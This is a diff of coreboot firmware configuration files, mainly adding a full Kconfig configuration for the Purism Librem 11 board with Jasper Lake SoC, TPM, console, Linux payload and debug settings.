+CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_WIFI=y +# CONFIG_USE_SAR is not set +# CONFIG_DRIVERS_AMD_PI is not set +CONFIG_DRIVERS_ASPEED_AST2050=y +CONFIG_DRIVERS_ASPEED_AST_COMMON=y +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_I2C_MAX98373 is not set +# CONFIG_DRIVERS_I2C_MAX98927 is not set +# CONFIG_DRIVERS_I2C_PCA9538 is not set +# CONFIG_DRIVERS_I2C_PCF8523 is not set +# CONFIG_DRIVERS_I2C_PTN3460 is not set +# CONFIG_DRIVERS_I2C_RT1011 is not set +# CONFIG_DRIVERS_I2C_RT5663 is not set +# CONFIG_DRIVERS_I2C_RTD2132 is not set +# CONFIG_DRIVERS_I2C_RX6110SA is not set +# CONFIG_DRIVERS_I2C_SX9310 is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_ATMEL is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_CR50 is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_GENERIC is not set +CONFIG_DRIVERS_I2C_W83795=y +# CONFIG_PLATFORM_USES_FSP1_0 is not set +# CONFIG_PLATFORM_USES_FSP2_0 is not set +# CONFIG_PLATFORM_USES_FSP2_1 is not set +# CONFIG_INTEL_DDI is not set +# CONFIG_INTEL_EDID is not set +# CONFIG_INTEL_INT15 is not set +# CONFIG_INTEL_GMA_ACPI is not set +# CONFIG_INTEL_GMA_SSC_ALTERNATE_REF is not set +# CONFIG_INTEL_GMA_SWSMISCI is not set +# CONFIG_DRIVER_INTEL_I210 is not set +# CONFIG_DRIVERS_INTEL_MIPI_CAMERA is not set +# CONFIG_HAVE_INTEL_PTT is not set +# CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS is not set +# CONFIG_DRIVER_MAXIM_MAX77686 is not set +# CONFIG_DRIVER_PARADE_PS8625 is not set +# CONFIG_DRIVER_PARADE_PS8640 is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_LPC_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_MAINBOARD_HAS_LPC_TPM=y +CONFIG_VGA=y +# CONFIG_DRIVERS_RICOH_RCE822 is not set +# CONFIG_DRIVER_SIEMENS_NC_FPGA is not set +# CONFIG_NC_FPGA_NOTIFY_CB_READY is not set +# CONFIG_DRIVERS_SIL_3114 is not set +# CONFIG_MAINBOARD_HAS_SPI_TPM_CR50 is not set +# CONFIG_DRIVER_TI_TPS65090 is not set +# CONFIG_DRIVERS_TI_TPS65913 is not set +# CONFIG_DRIVERS_TI_TPS65913_RTC is not set +# CONFIG_DRIVERS_USB_ACPI is not set +# CONFIG_COMMONLIB_STORAGE is not set + +# +# Security +# + +# +# Verified Boot (vboot) +# + +# +# Trusted Platform Module +# +CONFIG_TPM1=y +# CONFIG_USER_NO_TPM is not set CONFIG_USER_TPM1=y +# CONFIG_USER_TPM2 is not set +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set CONFIG_TPM_RDRESP_NEED_DELAY=y + +# +# Memory initialization +# +# CONFIG_ACPI_SATA_GENERATOR is not set +# CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES is not set +# CONFIG_ACPI_AMD_HARDWARE_SLEEP_VALUES is not set +# CONFIG_BOOT_DEVICE_NOT_SPI_FLASH is not set +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +# CONFIG_BOOT_DEVICE_SUPPORTS_WRITES is not set +# CONFIG_RTC is not set + +# +# Console +# +CONFIG_SQUELCH_EARLY_SMP=y +CONFIG_CONSOLE_SERIAL=y + +# +# I/O mapped, 8250-compatible +# + +# +# Serial port base address = 0x2f8 +# +# CONFIG_CONSOLE_SERIAL_921600 is not set +# CONFIG_CONSOLE_SERIAL_460800 is not set +# CONFIG_CONSOLE_SERIAL_230400 is not set +CONFIG_CONSOLE_SERIAL_115200=y +# CONFIG_CONSOLE_SERIAL_57600 is not set +# CONFIG_CONSOLE_SERIAL_38400 is not set +# CONFIG_CONSOLE_SERIAL_19200 is not set +# CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_BAUD=115200 +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +# CONFIG_CONSOLE_SPI_FLASH is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +# CONFIG_CMOS_POST is not set +CONFIG_POST_DEVICE_NONE=y +# CONFIG_POST_DEVICE_LPC is not set +# CONFIG_POST_DEVICE_PCI_PCIE is not set +CONFIG_POST_IO_PORT=0x80 +# CONFIG_NO_EARLY_BOOTBLOCK_POSTCODES is not set +CONFIG_HWBASE_DEBUG_CB=y +CONFIG_HAVE_ROMSTAGE_CONSOLE_SPINLOCK=y +CONFIG_HAVE_ROMSTAGE_NVRAM_CBFS_SPINLOCK=y +CONFIG_HAVE_ROMSTAGE_MICROCODE_CBFS_SPINLOCK=y +# CONFIG_NO_MONOTONIC_TIMER is not set +CONFIG_HAVE_MONOTONIC_TIMER=y +# CONFIG_TIMER_QUEUE is not set +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_PCI_IO_CFG_EXT=y +CONFIG_IOAPIC=y +# CONFIG_USE_WATCHDOG_ON_BOOT is not set +# CONFIG_GFXUMA is not set +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_HAVE_MP_TABLE=y +CONFIG_HAVE_PIRQ_TABLE=y +# CONFIG_COMMON_FADT is not set +# CONFIG_ACPI_NHLT is not set + +# +# System tables +# +CONFIG_GENERATE_MP_TABLE=y +CONFIG_GENERATE_PIRQ_TABLE=y +CONFIG_GENERATE_SMBIOS_TABLES=y +# CONFIG_SMBIOS_PROVIDED_BY_MOBO is not set + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BAYOU is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_YABITS is not set CONFIG_PAYLOAD_LINUX=y +# CONFIG_PAYLOAD_TIANOCORE is not set CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set + +# +# Debugging +# + +# +# CPU Debug Settings +# +CONFIG_HAVE_DEBUG_CAR=y +# CONFIG_DEBUG_CAR is not set + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +# CONFIG_DEBUG_PIRQ is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_TRACE is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_HAVE_EM100_SUPPORT is not set +CONFIG_ENABLE_APIC_EXT_ID=y +CONFIG_WARNINGS_ARE_ERRORS=y +# CONFIG_POWER_BUTTON_DEFAULT_ENABLE is not set +# CONFIG_POWER_BUTTON_DEFAULT_DISABLE is not set +# CONFIG_POWER_BUTTON_FORCE_ENABLE is not set +# CONFIG_POWER_BUTTON_FORCE_DISABLE is not set +# CONFIG_POWER_BUTTON_IS_OPTIONAL is not set +# CONFIG_REG_SCRIPT is not set +# CONFIG_NO_XIP_EARLY_STAGES is not set +# CONFIG_EARLY_CBMEM_LIST is not set +CONFIG_RELOCATABLE_MODULES=y +CONFIG_NO_STAGE_CACHE=y +CONFIG_BOOTBLOCK_CUSTOM=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_11.config b/config/coreboot-librem_11.config index 09f4c3738..997bcfdc4 100644 --- a/config/coreboot-librem_11.config +++ b/config/coreboot-librem_11.config @@ -1,21 +1,753 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Librem 11" +CONFIG_MAINBOARD_PART_NUMBER="Librem 11" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="purism/librem_jsl" +CONFIG_VGA_BIOS_ID="8086,4e61" +CONFIG_DIMM_MAX=2 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="" +CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="Purism" CONFIG_CBFS_SIZE=0xC00000 +CONFIG_MAX_CPUS=4 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_OVERRIDE_DEVICETREE="" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/purism/librem_jsl/data.vbt" +# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x1400 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_USE_PM_ACPI_TIMER=y +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0x80000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x30400 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/me.bin" +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +CONFIG_USE_LEGACY_8254_TIMER=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 11" CONFIG_HAVE_IFD_BIN=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_14 is not set CONFIG_BOARD_PURISM_LIBREM_11=y +# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_JSL=y +# CONFIG_ENABLE_UART2 is not set +CONFIG_FSP_TEMP_RAM_SIZE=0x28000 +CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="intel_iommu=igfx_off quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x01000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_DETACHABLE=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="" CONFIG_FSP_M_FILE="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/fspm.bin" CONFIG_FSP_S_FILE="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/fsps.bin" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT_SIZE=0x0 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IFD_CHIPSET="jsl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_ROOT_PORTS=8 +CONFIG_MAX_PCIE_CLOCK_SRC=6 +CONFIG_PCR_BASE_ADDRESS=0xfd000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=38400000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 +CONFIG_SOC_INTEL_I2C_DEV_MAX=6 +CONFIG_SOC_INTEL_UART_DEV_MAX=3 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 +CONFIG_FSP_HEADER_PATH="src/vendorcode/intel/fsp/fsp2_0/jasperlake/" +CONFIG_FSP_FD_PATH="3rdparty/fsp/JasperLakeFspBinPkg/Fsp.fd" +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 +CONFIG_INTEL_GMA_BCLV_WIDTH=32 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLM_WIDTH=32 +CONFIG_MAX_HECI_DEVICES=6 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 +CONFIG_SOC_INTEL_JASPERLAKE=y +CONFIG_SOC_INTEL_JASPERLAKE_DEBUG_CONSENT=0 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +CONFIG_COS_MAPPED_TO_MSB=y +CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI=y +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +# CONFIG_INTEL_KEYLOCKER is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_CSE_SEND_EOP_LATE=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_SET_EOP=y +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_13=y +CONFIG_ME_SPEC=13 +CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y +CONFIG_PMC_IPC_ACPI_INTERFACE=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_SMM=y 